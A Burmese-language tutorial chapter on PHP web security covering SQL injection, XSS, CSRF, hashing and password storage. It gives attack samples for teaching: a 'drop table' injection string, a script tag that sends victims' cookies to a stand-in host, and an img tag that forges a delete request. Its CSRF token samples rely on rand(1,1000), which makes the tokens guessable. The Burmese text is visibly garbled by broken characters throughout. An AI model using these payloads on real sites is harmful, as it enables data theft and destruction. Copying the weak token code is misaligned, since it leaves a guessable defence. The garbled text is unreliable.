လ့ုိ ရမှာပါ။ ဒီလုိရင်းဖြမစ်ကို သိK့ုိဆိုရင် Login Log ပေတွ Access Log ပေတွ Error Log ပေတွနဲ့  ဘယ်
ပေန့ ဘယ်အ]ျနိ်မှာ ဘယ်သူဝင်သွားတယ်၊ ဘယ်အ]ျနိ်မှာ ဘာ Error တက်သွားတယ်ဆိုတာကို 
ဖြပန်ကြကည့်လို့ ရK့ုိလုိသလုိ၊ အပြမဲပေစာင့်ကြကည့်လ့ုိရတဲ့ စနစ်ပေတွလည်း ရှိK့ုိလုိပါတယ်။ ဒီလုိစနစ်ပေတွ
မရှိတဲ့အ]ါမှာလံုခြ]ုပံေရးဖြပဿနာရှိလာ]ဲ့ရင် အပေပါ်ယံဖြမင်ရတာပေလာက်ကိုသာ ပေဖြKရှင်းမိပြပီး 
ရင်းဖြမစ်ကို မပေဖြKရှင်းမိလ့ုိ ပေနာင်မှာ အလားတူဖြပဿနာပေတွ ထပ်]ါထပ်]ါ ဖြပန်တက်ပေနတယ်ဆို
တာမျ ို းပေတွ ရှိနိုင်ပါတယ်။

ဒါပေတကွပေတာ့ OWASP Top 10 မှာပါဝင်တဲ့ အပေတွ့ရများတဲ့ Web Application Security ဖြပဿနာများပဲ
ဖြKစ်ပါတယ်။ ကိုယ်တိုင်ပေလ့လာလုိရင် ဆက်လက်ပေKာ်ဖြပထားတဲ့လိပ်စာမှာ ပေလ့လာနိုင်ပါတယ်။
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– https://owasp.org/www-project-top-ten/

ဒီဖြပဿနာပေတွထဲက  Broken  Authentication  တို့  Broken  Access  Control  တို့လုိ  ဖြပဿနာများကို
ပေရှာင်ရှားK့ုိအတွက်  Authentication    လုပ်ပေဆာင်]ျက်ကို  ကိုယ်တိုင်အစအဆုံး ]ျပေရးမယ့်အစား၊    Proven  
ဖြKစ်ပြပီးသား၊ အများဝုိင်းဝန်းစမ်းသပ်ပြပီးသား စနစ်မျ ို းကို ရယူအသံုးဖြပုသင့်ပါတယ်။ ကိုယ်တိုင်]ျပေရးတဲ့အ]ါ
တစ်]ုမဟုတ်တစ်]ုကျန်မှာပါပဲ။ တစ်ပေနရာမဟုတ် တစ်ပေနရာ လွတ်ပေနမှာပါပဲ။ Laravel တို့  Symfony တို့
လ့ုိ  Framework  ပေတွမှာ ဒီလုိအသင့်ရယူအသံုးဖြပုနိုင်တဲ့  Proven  ဖြKစ်ပြပီးသား  Authentication  စနစ်ပေတွ
ပါဝင်ကြကပါတယ်။  Sensitive Data Exposure  အတွက်ပေတာ့ အပေရးကြကီးတဲ့  ပေဒတာပေတွကို  ပပေရာဂျက်ထဲ
မှာ၊ Source Code ထဲမှာ ပေရာမထားမိK့ုိ ကိုယ်တိုင်က သတိထားရမှာပါ။ ]ွဲထုတ်ထားလို့ရမယ့် နည်းလမ်း
ပေတွကို ကြကံဆအသံုးဖြပုကြကရမှာပါ။ 

Security  Misconfiguration  လုိ  ဖြပဿနာမျ ို းအတွက်  သက်ဆိုင်ရာ  Server  Configuration  ပုိင်းကို
နားလည်တဲ့  System Administrator  ပေတွရဲ့  အကူအညီကို  ယူသင့်ပါတယ်။  သ့ုိမဟုတ်  Server  စီမံတဲ့
အလုပ်ကို  ကိုယ်တိုင်မလုပ်ဘဲ အသင့်သံုးလ့ုိရတဲ့  Hosting, VPS, Cloud Service  ပေတွကို  အသံုးဖြပုသင့်ပါ
တယ်။ Using Component with Known Vulnerabilities အတွက်ကလည်း အတူတူပါပဲ။ ကိုယ်တိုင်စီမံ
မယ်ဆိုရင် အသံုးဖြပုထားတဲ့ နည်းပညာနဲ့  Software အားလံုးကို Update အပြမဲဖြKစ်ပေနပေအာင် ဂရုစိုက်ကြကရ
မှာပါ။  ပုိပေကာင်းတာကပေတာ့  စီမံပေပးနိုင်တဲ့  Service  ပေတွအသံုးဖြပုလုိက်တာ  အပေကာင်းဆုံးပါပဲ။  ဒီလုိ
Service  ပေတွ အသံုးဖြပုဖြ]င်းအားဖြKင့်  Insufficient Logging & Monitoring  ဖြပဿနာကိုလည်း ပေဖြKရှင်းပြပီး
ဖြKစ်ပေစနိုင်ပါတယ်။ ဒီ  Service  ပေတွမှာ  Logging  နဲ့  Monitoring  လုပ်ပေဆာင်]ျက်ပေတွ ပါဝင်ပေလ့ ရှိကြကပါ
တယ်။ ဒါပေတွက ကုဒ်ပေကြကာင့်ဖြKစ်တဲ့  ဖြပဿနာမဟုတ်ဘဲ  Server Management  နဲ့သက်ဆိုင်တဲ့  ဖြပဿနာ
ပေတွ ဖြKစ်သွားပါပြပီ။

ကုဒ်ပေကြကာင့်ဖြKစ်ပေလ့ရှိတဲ့ ဖြပဿနာပေတွထဲက အဓိကအကျဆုံး (၃) ]ုကို ပေရးွထုတ်ပြပီး ဆက်လက်ပေKာ်ဖြပ]ျင်
ပါတယ်။

https://owasp.org/www-project-top-ten/
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SQL Injection
SQL Injection ဆိုတာ User Input နဲ့အတူ SQL Query ပေတွ ပေရာထည့်ပြပီး တုိက်]ိုက်တဲ့နည်းလမ်း ဖြKစ်ပါ
တယ်။ တစ်လက်စထဲ မှတ်ထားသင့်ပါတယ်။  User Input  ဆိုရင် ဘယ်  User Input  ကိုမှ  မယံုရပါဘူး။
URL Query အပေနနဲ့လာတဲ့ Input ပေတွ၊ Form ကပေနလာတဲ့ Input ပေတွ၊ အားလံုးမှာ အသံုးဝင်တဲ့ Data ပါ
နိုင်သလုိ၊ အပေနှာက်အယှက်ပေပးမယ့်  Data  နဲ့  ဒုက္ခပေပးမယ့် ကုဒ်ပေတွ ပေရာပြပီးပေတာ့ ပါလာနိုင်ပါတယ်။ ဒါ
ပေကြကာင့် Input   ဆိရုင် ဘယ်   Input   ကိုမှ မယုံရဘူးဆိုတဲ့မူကို လက်ကိုင်ထားK့ုိ လုိအပ်ပါတယ်  ။

ကိုယ့်ပပေရာဂျက်ထဲမှာ အ]ုလုိပေရးထားတဲ့ကုဒ် ရိှတယ်ဆိုကြကပါစို့။

// get.php

$id = $_GET['id'];

$sql = "SELECT * FROM users WHERE id = $id";

$_GET ကပေန ယူထားတဲ့အတွက် URL Query အပေနနဲ့ ပါဝင်လာတဲ့ Input Data ဖြKစ်တဲ့ id ကို ယူလုိက်
တာပါ။ id ဟာ 1, 2, 3, 4 စတဲ့ ကိန်းဂဏန်းပေတွဖြKစ်မယ်လ့ုိ ပေမ�ာ်မှန်းပြပီးပေတာ့ ကုဒ်ကို ပေရးထားတာပါ။ ဒါ
ကို ဒုက္ခပေပး]ျင်ရင် id ကိန်းဂဏန်းပေပးရမယ့်ပေနရာမှာ အ]ုလုိ ပေပးပြပီးပေတာ့ ဒုက္ခပေပးနိုင်ပါတယ်။

get.php?id=1;drop table users

ဒါပေကြကာင့် id ရဲ့တန်Kုိး 1;drop table users ဖြKစ်သွားပါပြပီ။ အ့ဲဒီ id တန်Kုိးကို ပေရးထားတဲ့ SQL
ထဲမှာ ထည့်ထားလို့ပေနာက်ဆုံးရလဒ်က အ]ုလုိဖြKစ်သွားပြပီ ဖြKစ်ပါတယ်။

SELECT * FROM users WHERE id = 1;drop table users

ဒါပေကြကာင့် ဒီ Query ကိုသာ တုိက်ရိုက် Run လုိက်မယ်ဆိုရင် drop table users ဆိုတဲ့ Statement
အသက်ဝင်ပြပီး users Table ပျက်သွားမှာ ဖြKစ်ပါတယ်။ SQL Injection ဆိုတာ ဒီသပေဘာမျ ို းကို ပေဖြပာတာ
ပါ။ User Input နဲ့အတူကို SQL ကို Inject လုပ်ပြပီးပေပးတဲ့နည်းနဲ့ Data ပေတွကို အ]ွင့်မရှိဘဲ ယူလ့ုိ၊ ဖြပင်လုိ့၊
Kျက်လ့ုိ ရပေနနိုင်တဲ့ သပေဘာပဲ ဖြKစ်ပါတယ်။
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Prepare Statement ကို အသံုးဖြပုထားမယ်ဆိုရင် ဒီလုိ SQL Injection ကို ပေကြကာက်စရာမလုိပေတာ့ပါဘူး။
Query ကို အရင် Prepare လုပ်ပြပီး၊ ပေနာက်မှာ Input Data ကိုပေပးတဲ့အတွက် အ့ဲဒီ Data ထဲမှာ ပါလာတဲ့
Query  ဟာ အသက်မဝင်ပေတာ့တဲ့အတွက်ပေကြကာင့်  ဖြKစ်ပါတယ်။ ဒါပေကြကာင့်  တစ်ဖြ]ားနည်းလမ်းပေတွလည်း
ရှိပေသးပေပမယ့်  SQL  Injection  Attack    ကို  ကာကွယ်K့ုိ  အပေကာင်းဆုံးနည်းလမ်းကပေတာ့    Prepare  
Statement   ကို အသံုးဖြပုဖြ]င်းဖြKစ်တယ်   လ့ုိ မှတ်နိုင်ပါတယ်။

XSS – Cross-site Scripting
Cross-site Scripting ကို Script Injection လ့ုိလည်း ပေ]ါ်ကြကပါတယ်။ SQL Injection ဆိုတာ User Input
ထဲမှာ  SQL Query  ပေတွထည့်ပြပီး ဒုက္ခပေပးတဲ့နည်းလ့ုိဆိုရင်  XSS  ဆိုတာ  User Input  ထဲမှာ  JavaScript
ပေတွထည့်ပြပီး ဒုက္ခပေပးတဲ့နည်းလ့ုိ ဆိုနိုင်ပါတယ်။ 

သူကပေပးလုိက်တဲ့အ]ျနိ်မှာ  ]ျက်ဖြ]င်းဒုက္ခမပေပးဘဲ၊  အ့ဲဒီ  JavaScript  ပေတွပါပေနတဲ့  Data  ကိုဖြပန်သံုးတဲ့
အ]ျနိ်ကျပေတာ့မှ  ဒုက္ခပေပးတာပါ။  ဒါပေကြကာင့်  Input    ဆိရုင်  ဘယ်    Input    မှ  မယံုရဘူးဆိုတဲ့  မူနဲ့အတူ၊  
Output   ပေတွကိုလည်း မယံုရဘူး   လ့ုိ တွဲမှတ်K့ုိ လုိအပ်ပါတယ်။

ဥပမာ – User ဆီက Comment ကိုပေတာင်းတဲ့  Form တစ်]ရုှိတယ်ဆိုကြကပါစို့။ တစ်ကယ်တမ်း Input မှာ
ပေရးဖြKည့်ရမှာက Comment အဖြKစ်ပေပး]ျင်တဲ့ စာကို ပေရးရမှာပါ။ အ့ဲဒါကို User က စာမပေရးဘဲ၊ အ]ုလုိ ပေရး
ထည့်သွားနိုင်ပါတယ်။

<script>location.href='http://me.xyz?c='+document.cookie</script>

စာမပေရးဘဲ JavaScript ကုဒ်ပေရးထည့်သွားတာပါ။ အ့ဲဒီကုဒ်ကို  Table ထဲမှာ သိမ်းလုိက်ပြပီး၊ ဖြပန်ဖြပတဲ့အ]ါ
ပေရးထားတဲ့ ကုဒ်က Run သွားမှာ ဖြKစ်ပါတယ်။ ဒါပေကြကာင့် အ့ဲဒီကုဒ်ရှိပေနတဲ့  Content ကို ကြကည့်မိသူ User
တိုင်းရဲ့  Cookie Data ပေတွကို နမူနာအရ me.xyz ဝဘ်ဆိုက်ထံ ပေပးပ့ုိဖြ]င်းအားဖြKင့် ]ိုးယူ]ံရပါပြပီ။ Cookie
ထဲမှာ Session ID လုိ အပေရးကြကီးတဲ့ အ]ျက်အလက်ပေတွ ရိှပေနနိုင်ပါတယ်။
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ဒီဖြပဿနာကို ပေဖြKရှင်းK့ုိအတွက် အလွယ်ဆုံးနည်းလမ်းကပေတာ့  PHP  ရဲ့  htmlspecialchars() ဆို
တဲ့  Function  ကို  အသံုးဖြပုဖြ]င်းဖြKစ်ပါတယ်။ ဒီ  Function  က  Content  ထဲမှာပါတဲ့  Special  Character
ပေတွကို  Encode လုပ်ပေပးပါတယ်။ ဥပမာ –  <script> ဆိရုင်  &lt;script&gt; ဖြKစ်သွားမှာပါ။  <
ကို  &lt; နဲ့  Encode  လုပ်ပေပးပြပီး  > ကို  &gt; နဲ့  Encode  လုပ်ပေပးလုိက်လို့  ပေရးထားတဲ့  <script>
Tag အသက်မဝင်ပေတာ့ပါဘူး။ 

တစ်ကယ်ပေတာ့ <script> တစ်]ုထဲက ဒုက္ခပေပးနိုင်တာ မဟုတ်ပါဘူး။ HTML Element ပေတွအားလံုးက
ဒုက္ခပေပးK့ုိအတွက် သံုးမယ်ဆိုရင် သံုးလ့ုိရပေနပါတယ်။  <img> ရဲ့  src Attribute  မှာ  JavaScript  ကုဒ်
ပေတွ ပေရးလ့ုိရပါတယ်။ <a> ရဲ့ href မှာ JavaScript ကုဒ်ပေတွ ပေရးလ့ုိရပါတယ်။ တစ်ဖြ]ား Element ပေတွ
မှာလည်း onClick တို့  onMouseOver တို့လ့ုိ  Attribute  ပေတွနဲ့  JavaScript  ကုဒ်ပေတွကို ပေရးမယ်ဆို
ပေရးလ့ုိရပေနပါတယ်။ ဒါပေကြကာင့် JavaScript ပေတွ အလုပ်မလုပ်ပေအာင် <script> Tag ကို ကာကွယ်မယ်
လ့ုိ ပေဖြပာလ့ုိ မရပါဘူး။ ဘယ် HTML Element ကိုမှ မယံုရတာပါ။ htmlspecialchars() Function
က ပါလာသမ� Special Character ပေတွအကုန်လံုးကို Encode လုပ်ဖြပစ်မှာမ့ုိလို့ HTML Tag ပေတွပါလာရင်
လည်း  တစ်]ုမှ  အလုပ်လုပ်မှာ  မဟုတ်ပါဘူး။  ပေရးထားတဲ့အတိုင်းပဲ  ပေKာ်ဖြပပေပးပေစမှာ  ဖြKစ်ပါတယ်။  ဒါ
ပေကြကာင့်  XSS    ကို  ကာကွယ်K့ုိအတွက်    Output    တိုင်းကို    htmlspecialchars()     နဲ့  ရိုက်ထုတ်သင့်  
တယ် လ့ုိ မှတ်နိုင်ပါတယ်။

<?php echo htmlspecialchars($comment) ?>

<?= htmlspecialchars($comment) ?>

ဒီ Function ကို ]ဏ]ဏ ပေ]ါ်သံုးရတာ ရှည်တယ်ထင်ရင်လည်း အ]ုလုိ ကြကား]ံ Helper Function တစ်]ု
ကိုယ့်ဘာသာ ပေရးထားလ့ုိရနိုင်ပါတယ်။

function h($content) {

    return htmlspecialchars($content);

}
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ဒါပေကြကာင့် ပေနာက်ပုိင်း Output ပေတွရိုက်ထုတ်ရင် အ]ုလုိ ထုတ်လုိ့ ရသွားပါပြပီ။

<?php echo h($comment) ?>

<?= h($comment) ?>

အကယ်၍ Content ကို အ]ုလုိ Encode လုပ် မဖြပစ်]ျင်ဘူး၊ အန္တရာယ်ရှိတာပေတွကို ပေရွးပြပီးပေတာ့ Kယ်]ျင်
တယ်။  အန္တရာယ်မရှိတာပေတွ  ]ျန်ထားပေပး]ျင်တယ်ဆိုရင်ပေတာ့  HTML  Purifier  လုိ  နည်းပညာမျ ို းကို
အသုံးဖြပုနိုင်ပါတယ်။ ဒီမှာပေလ့လာကြကည့်လ့ုိ ရပါတယ်။

– http://htmlpurifier.org/

CSRF – Cross-Site Request Forgery
Cross-Site  Request  Forgery  ဆိုတာ ဝဘ်ဆိုက်တစ်]ုကို  ဒုက္ခပေပးK့ုိအတွက်  အဖြ]ားဝဘ်ဆိုက်တစ်]ုကို
အသုံးဖြပုပြပီး  Request  ပေတွ  ပေပးပ့ုိသကဲ့သို့ဖြKစ်ပေအာင်  လှည်Kျားပြပီးပေတာ့  တိုက်]ိုက်တဲ့  နည်းလမ်း  ဖြKစ်ပါ
တယ်။ အ]ုပေနာက်ဆုံး  OWASP Top 10 ထဲမှာ မပါပေတာ့ပေပမယ့် သ့ူအရင် ထုတ်ဖြပန်]ဲ့တဲ့  Top 10 စာရင်း
ပေတွမှာ မကြကာမကြကာ ပါပေနကြက ဖြပဿနာတစ်]ုဖြKစ်ပါတယ်။

ကျွန်ပေတာ်တို့  ပေရးသား]ဲ့တဲ့  ပပေရာဂျက်ကုဒ်ထဲက  delete.php ကို  ဥပမာပေပး]ျင်ပါတယ်။
delete.php ကို အသံုးဖြပုပြပီး အ]ုလုိ Request ပေပးပ့ုိဖြ]င်းအားဖြKင့် User ပေတွကို Kျက်လို့ရပါတယ်။

localhost/project/_delete.php?id=1

ပေရးထားတဲ့ကုဒ်ကို ဖြပန်ပေလ့လာကြကည့်ပါ။  URL Query က id ကို ယူပြပီးပေတာ့ အ့ဲဒီ  id နဲ့ ကိုက်တဲ့  User
ကို Kျက်K့ုိပေရးထားတာပါ။ ဒါပေပမယ့် ဒီ URL ကိုသုံးပြပီး လူတိုင်းက Kျက်]ျင်တဲ့  User ကိုလာKျက်လုိ့ မရပါ
ဘူး။ ကုဒ်ထဲမှာ Auth::check() နဲ့ စစ်ထားပါတယ်။ Login ဝင်ထားတဲ့  User မှသာလ�င် ဒီအလုပ်ကို
လုပ်လ့ုိရမှာ  ဖြKစ်ပါတယ်။  Login  မဝင်ထားဘဲ  ဒီ  URL  ကို  သံုးKို့ကြကိုးစားရင်  Kျက်တဲ့အလုပ်ကို  လုပ်မှာ
မဟုတ်ပါဘူး။

http://htmlpurifier.org/
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ကိုယ်က ဒီပပေရာဂျက်မှာ အပေကာင့်ရှိလို့ Login ဝင်ထားမိတယ်ဆိုကြကပါစို့။ ဒုက္ခပေပးလုိသူက ဒီလုိ Element
ပါတဲ့  ဝဘ်ဆိုက်တစ်]ုကို  ပေရးထားတဲ့အ]ါ  ကိုယ်ကမသိလိုက်ဘဲ  အ့ဲဒီဝဘ်ဆိုက်ကို  သွားမိရင်  ဖြပဿနာ
တက်ပါပြပီ။

<img src="http://localhost/project/_delete.php?id=1">

ဝဘ်ဆိုက်ကသူ့ဝဘ်ဆိုက်ပါ။ ပေရးထားတာက သ့ူကုဒ်ပါ။ ဒါပေပမယ့် ကိုယ်ကအဲ့ဒီ ဝဘ်ဆိုက်ကို  Kွင့်လုိက်မိ
]ျနိ်မှာ Browser က <img> Element ဖြKစ်တဲ့အတွက် ပံုကိုဖြပနိုင်K့ုိ src Attribute မှာပေပးထားတဲ့ လိပ်စာ
ကို  Request  ပ့ုိလုိက်မှာပါ။  ပ့ုိလုိက်တာက  ကိုယ်  Browser  ကဖြKစ်ပေနတဲ့အတွက်  delete.php ရဲ့
Auth::check() က စစ်ကြကည့်လုိက်တဲ့အ]ါ Login ဖြKစ်ပေနလ့ုိ User ကိုKျက်ဖြပစ်လုိက်မှာ ဖြKစ်ပါတယ်။

သ့ူဝက်ဆိုက်ကို  သွားမိတာ  ကိုယ်ဝဘ်ဆိုက်က  Data  ထိသွားတယ်ဆိုတဲ့  သပေဘာမျ ို းဖြKစ်လို့  ဒီ  နည်းကို
Cross-site Request Forgery Attack (CSRF)  လ့ုိပေ]ါ်ကြကတာပါ။ ကိုယ့်ပပေရာဂျက်မှာ ဒီဖြပဿနာကို ကာ
ကွယ်လုိရင် Random Token ကို သံုးနိုင်ပါတယ်။ ဥပမာ ဒီကုဒ်ကိုပေလ့လာကြကည့်ပါ။

<?php

echo sha1(rand(1, 1000) . time());

// 22d0fe99e95aa559355c4f514334bf121601568f

 
sha1() Function  ထဲမှာ  Random  တန်Kုိးတစ်]ု  လက်ရှိအ]ျနိ်နဲ့ပေပါင်းပြပီး  ပေပးလုိက်တဲ့အ]ါ ]န့်မှန်းK့ုိ
ဘယ်လိုမှ မလွယ်ကူတဲ့ Hash ရလဒ် တစ်]ုကို ရပါတယ် (Hash အပေကြကာင်းကို ]ဏပေနပေတာ့မှ ဆက်ပေဖြပာ
ပါမယ်)။  အ့ဲဒီရလဒ်က  အပြမဲတမ်း  ပေဖြပာင်းပေနပါလိမ့်မယ်။  time() Function  ပါလို့  တစ်]ါ  Run  ရင်
တန်Kုိးတစ်မျ ို းဖြKစ်ပေနမှာပါ။ ရလာတဲ့ Hash တန်Kုိးကို Session ထဲမှာသိမ်းထားပြပီး Request နဲ့အတူ အ့ဲဒီ
တန်Kုိးပါလာမှ လက်]ရံမှာဖြKစ်ပါတယ်။ ဒီလိုပါ – 
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<?php

session_start();

$token = sha1(rand(1, 1000) . 'csrf secret');

$_SESSION['csrf'] = $token;

?>

<a href="delete.php?id=1&csrf=<?= $token ?>">Delete</a>

ရလာတဲ့  Random Token ကို  Session ထဲမှာသိမ်းပြပီး၊  Link မှာလည်း URL Query အပေနနဲ့ တွဲပေပးလုိက်
တာပါ။ ဒါပေကြကာင့် ဒီ Link ကိုနှိပ်ရင် Random Token က Request နဲ့အတူ ပါလာပါပြပီ။ ပါလာတဲ့ Token
ကို Session ထဲမှာ သိမ်းထားတဲ့ Token နဲ့ တူမတူ စစ်လုိက်ယံုပါပဲ။

<?php

// delete.php

session_start();

if($_GET['csrf'] === $_SESSION['csrf']) {
    echo "Good request";
} else {
    echo "Bad request";
}

တစ်ဖြ]ားသူက ကိုယ့် Session ထဲမှာ သိမ်းထားတဲ့ ပေဖြပာင်းလဲပေနတဲ့ Random Token နဲ့ကိုက်ညီတဲ့ တန်Kုိး
ပေပးပြပီး Request အတု လွှတ်Kို့ဆိုတာ မလွယ်ပေတာ့ပါဘူး။ ဒီနည်းနဲ့ CSRF Attack ကို ကာကွယ်ရပါတယ်။
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Hash Functions
Hash Function ပေတွဟာ လံုခြ]ုံပေရးအတွက် အပေရးပါပါတယ်။ ပေရးဖြKစ်]ဲ့တဲ့ နမူနာကုဒ်ပေတွမှာ md5() နဲ့
sha1() ဆိုတဲ့ Hash Function ပေတွကို အသံုးဖြပု]ဲ့ကြကပါတယ်။ ဒီ Hash Function ပေတွက Content ကို
ပေပးလုိက်ရင်  Hash Code ဖြKစ်ပေအာင် ပေဖြပာင်းပေပးကြကပါတယ်။  Function  မတူတဲ့အ]ါ  Hash  ပေဖြပာင်းK့ုိသံုး
သွားတဲ့  Algorithm  မတူပေတာ့ပါဘူး။  Algorithm  ပေတွ မတူကြကပေပမယ့် တူညီတဲ့  သပေဘာ သဘာဝ ပေတွ
ပေတာ့ ရှိကြကပါတယ်။

• Hash Function  ပေတဟွာ  ပေပးလုိက်တဲ့    Content    ရဲ့    Length    ဘယ်ပေလာက်ပဲ ကွဲဖြပားပါပေစ ဖြပန်  
ထုတ်ပေပးတဲ့    Output Length    အပြမဲတမ်း တူညီကြကပါတယ်  ။  md5() Function  က စာလံုး  (၃၂)
လံုးပါတဲ့  Hash  ကို  ဖြပန်ထုတ်ပေပးပါတယ်။  ပေပးလုိက်တဲ့  Content  က စာလံုးတစ်လံုးထဲ  ဆိရုင်
လည်း ရလဒ်က (၃၂) လံုးပဲ ဖြKစ်မှာပါ။ ပေပးလုိက်တဲ့ Content က စာလံုး (၁၀၀၀) ပေကျာ်ရင်လည်း
ရလဒ်ကပေတာ့  (၃၂)  လံုးပဲဖြKစ်မှာပါ။  sha1() Function  က စာလံုး  (၄၀)  ပါတဲ့  Hash  ကို  ဖြပန်
ထုတ်ပေပးပါတယ်။

• Hash Function  ပေတဟွာ ပေပးလုိက်တဲ့  Content  ကို  ပေဖြ]Kျက်ပြပီးပေတာ့  Hash  ပေဖြပာင်းတာဖြKစ်တဲ့
အတွက် ပေ]ျKျက်လုိက်လို့ ရလာတဲ့   Hash   ကပေန မူလ   Content   ကို ဖြပန်မရနိုင်ပါဘူး  ။ ပေပးလိုက်တဲ့
Content  ကို  Code  ပေဖြပာင်းပြပီးပေနာက်၊ ရလာတဲ့  Code  ကပေန Content  ဖြပန်ပေဖြပာင်းလို့ရတဲ့ နည်း
ပညာပေတရွှိပါတယ်။ Encryption လ့ုိပေ]ါ်ပါတယ်။ Hash နဲ့ မတူပါဘူး။  Encrypt လုပ်လုိက်လ့ုိ ရ
လာတဲ့ Code ကို Decrypt ဖြပန်လုပ်ဖြ]င်းအားဖြKင့် Content ကို ဖြပန်ရနိုင်ပါတယ်။ Hash Algorithm
ပေတွ အမျ ို းမျ ို းရှိသလုိပဲ Encryption Algorithm ပေတွလည်း အမျ ို းမျ ို း ရိှကြကပါတယ်။

• Hash Function ပေတဟွာ ပေပးလုိက်တဲ့    Content   တူရင်   ဖြပန်ထုတ်ပေပးတဲ့  Hash   ရလဒ်   အပြမဲတမ်း
တူကြကပါတယ်။ ဘယ်နှစ်ကြကိမ်ပဲ Run ပါပေစ၊ Content တူရင် ထွက်လာတဲ့ Hash အပြမဲတမ်း တူမှာပဲ
ဖြKစ်ပါတယ်။

Hash Function  ပေတွသံုးပြပီး  Content  ကို  Hash  ပေဖြပာင်းလုိက်တဲ့အ]ါ  ရလာတဲ့  Hash  ကပေန  Content
ဖြပန်ယူလ့ုိ  မရဘူးလ့ုိ  ဆိုထားပါတယ်။  Hash  ကပေန  Content  ဖြပန်ယူလ့ုိ  မရနိုင်ပေပမယ့်  ရနိုင်တဲ့တစ်ဖြ]ား
နည်းလမ်းပေတွပေတာ့ ရိှပါတယ်။ ဥပမာ - ဒီ md5 Hash ကိုပေလ့လာကြကည့်ပါ။
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1f3870be274f6c49b3e31a0c6728957f

ဒီ Hash ကပေန မူလတန်Kုိးကို ဖြပန်ထုတ်လ့ုိ မရပေပမယ့်၊ အ့ဲဒီ Hash ကို Google မှာ ရိုက်ထည့်ပြပီး ရှာကြကည့်
လုိက်ရင်  apple  ဆိုတဲ့  Content  အတွက်  Hash  ဖြKစ်တယ်ဆိုတာကို  သိရနိုင်ပါတယ်။  Content  တူရင်
Hash  တူတဲ့အတွက်  Content  ပေတွကို  Hash  ကြကိုပေဖြပာင်းထားပြပီး တိုက်စစ်မယ်ဆိုရင်၊  Hash  ကိုကြကည့်ပြပီး
ဘယ် Content အတွက်လဲဆိုတာကို သိရနိုင်ပါတယ်။ တစ်ကယ်ပေတာ့ Manual ကြကိုပေဖြပာင်းစရာမလုိပါဘူး၊
Rainbow Table ကို Hash ကိုပေပးလုိက်ရင် Content ဖြပန်ရှာပေပးနိုင်တဲ့ နည်းပညာပေတွ ရှိပေနပါတယ်။

ဒါပေကြကာင့်  md5  တို့  sha1  တို့လုိ  Hash  နည်းပညာပေတွကို  Secure  မဖြKစ်ဘူးလ့ုိ  ပေဖြပာကြကပါတယ်။ လံုခြ]ုံ
ပေအာင် Hash ပေဖြပာင်း]ျင်ပေပမယ့် Content ဖြပန်ပေKာ်မယ်ဆိုရင် ရနိုင်ပေဖြ]ရှိပေနလ့ုိပါ။ အရင်ကပေတာ့ md5 ကို
တင် မလံုခြ]ုံဘူးလ့ုိ  ပေဖြပာကြကတာပါ။  sha1  ကိုပေတာ့  လံုခြ]ုံတယ်လ့ုိ  သတ်မှတ်ကြကပါတယ်။ ဒါပေပမယ့် အ]ု
ပေနာက်ပုိင်း Computing Power ပေတွ တစ်ပေန့တစ်ဖြ]ား ပုိပေကာင်းလာကြကပေတာ့ အရင်ကလံုခြ]ုံပါတယ်ဆိုတဲ့
sha1 ကိုပါ မလံုခြ]ုံပေတာ့ဘူးလုိ့ သတ်မှတ်လာကြကတာပါ။ ကပေန့ပေ]တ်မှာ လံုခြ]ုံတယ်လုိ့ ပေဖြပာလို့ရတဲ့ Hash
နည်းပညာကပေတာ့  bcrypt  ဖြKစ်ပါတယ်။  ဘာပေကြကာင့်  md5  တို့  sha1  တို့ကိုကျပေတာ့  မလုံခြ]ုံဘူးလို့
သတ်မှတ်ပြပီး  bcrypt  ကို  ကျပေတာ့မှ  လံုခြ]ုံတယ်လ့ုိ  သတ်မှတ်ကြကတာလဲဆိုတဲ့ထိပေတာ့  ထည့်မပေဖြပာနိုင်
ပေတာ့ပါဘူး။  Hash Algorithm ပေတရွဲ့ သပေဘာသဘာဝနဲ့  Random Salt  လုိ သပေဘာသဘာဝပေတွ ထည့်
ပေဖြပာမှ ရပေတာ့မှာမုိ့လ့ုိပါ။ ဆက်ပေလ့လာစရာ စာရင်းထဲမှာသာ ထည့်မှတ်ထားလုိက်ပါ။ ဒီလုိပါပဲ နည်းပညာ
ပေတွကပေတာ့ လုိက်မယ်ဆိုရင် မဆုံးနိုင်ပေအာင်ပါပဲ။ 

PHP  မှာ  bcrypt  ဆိုတဲ့အမည်နဲ့  md5() တို့  sha1() တို့လုိ  အလွယ်တစ်ကူ ယူသံုးလုိ့ရတဲ့  Standard
Function  မရှိပါဘူး။  ဒါပေပမယ့်  bcrypt  ကို  အသံုးဖြပုထားတဲ့  password_hash() လ့ုိပေ]ါ်တဲ့  Hash
Function ပေတာ့ ရိှပေနတာပါ။ ဒီအပေကြကာင်းကို ပေနာက်ပေ]ါင်းစဉ်တစ်]ုနဲ့ ဆက်ပေဖြပာပါမယ်။
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Saving Passwords
ဝဘ်ဆိုက်တိုင်း လုိလုိမှာ  User  ပေတွက  Register  လုပ်ပြပီး အပေကာင့်ပေဆာက်လ့ုိရတဲ့  လုပ်ပေဆာင်]ျက်ပေတွ
ပါဝင်ကြကပါတယ်။ အ့ဲဒီလုိ  Register  လုပ်ကြကတဲ့အ]ါ  User  ဆီက  Password  ကို  ပေတာင်းကြကရပါတယ်။ ဒီ
ပေတာ့မှ အ့ဲဒီ Password ကိုသံုးပြပီး Login ဖြပန်ပေပးဝင်လို့ ရမှာပါ။

ဒီလို User ဆီက Password ကိုပေတာင်းယူပြပီး သိမ်းထားရတာ တာဝန်ကြကီးပါတယ်။ ဘာဖြKစ်လ့ုိလဲဆိုပေတာ့
User အများစုက Password ပေတွကို ဖြပန်သံုးကြကပါတယ်။ ဝဘ်ဆိုက် (၁၀) ]ုမှာ အပေကာင့်ပေတွ Kွင့်ထားလ့ုိ
Password ပေတွ မတူပေအာင် (၁၀) ]ု ]ွဲပေပးကြကမှာ မဟုတ်ပါဘူး။ တစ်]ျ ို ့ဆို  Password တစ်]ုထဲနဲ့ ပေနရာ
တိုင်းမှာ  သံုးပေနကြကတာပါ။  ဒါပေကြကာင့်  ကိုယ့်ဝဘ်ဆိုက်မှာ  အပေကာင့်လာပေဆာက်တဲ့အ]ါ  ပေပးတဲ့  User  ရဲ့
Password  ဟာ  အ့ဲဒီ  User  အတွက်  အလွန်အပေရကြကီးတဲ့  အ]ျက်အလက်တစ်]ုပါ။  ကိုယ်ဝဘ်ဆိုက်ရဲ့
လံုခြ]ုံပေရး  အားနည်း]ျက်  တစ်]ု]ုပေကြကာင့်သာ  User  အ]ျက်အလက်ပေတွ  ပေပါက်ကြကား]ဲ့လို့  User  ပေတွရဲ့
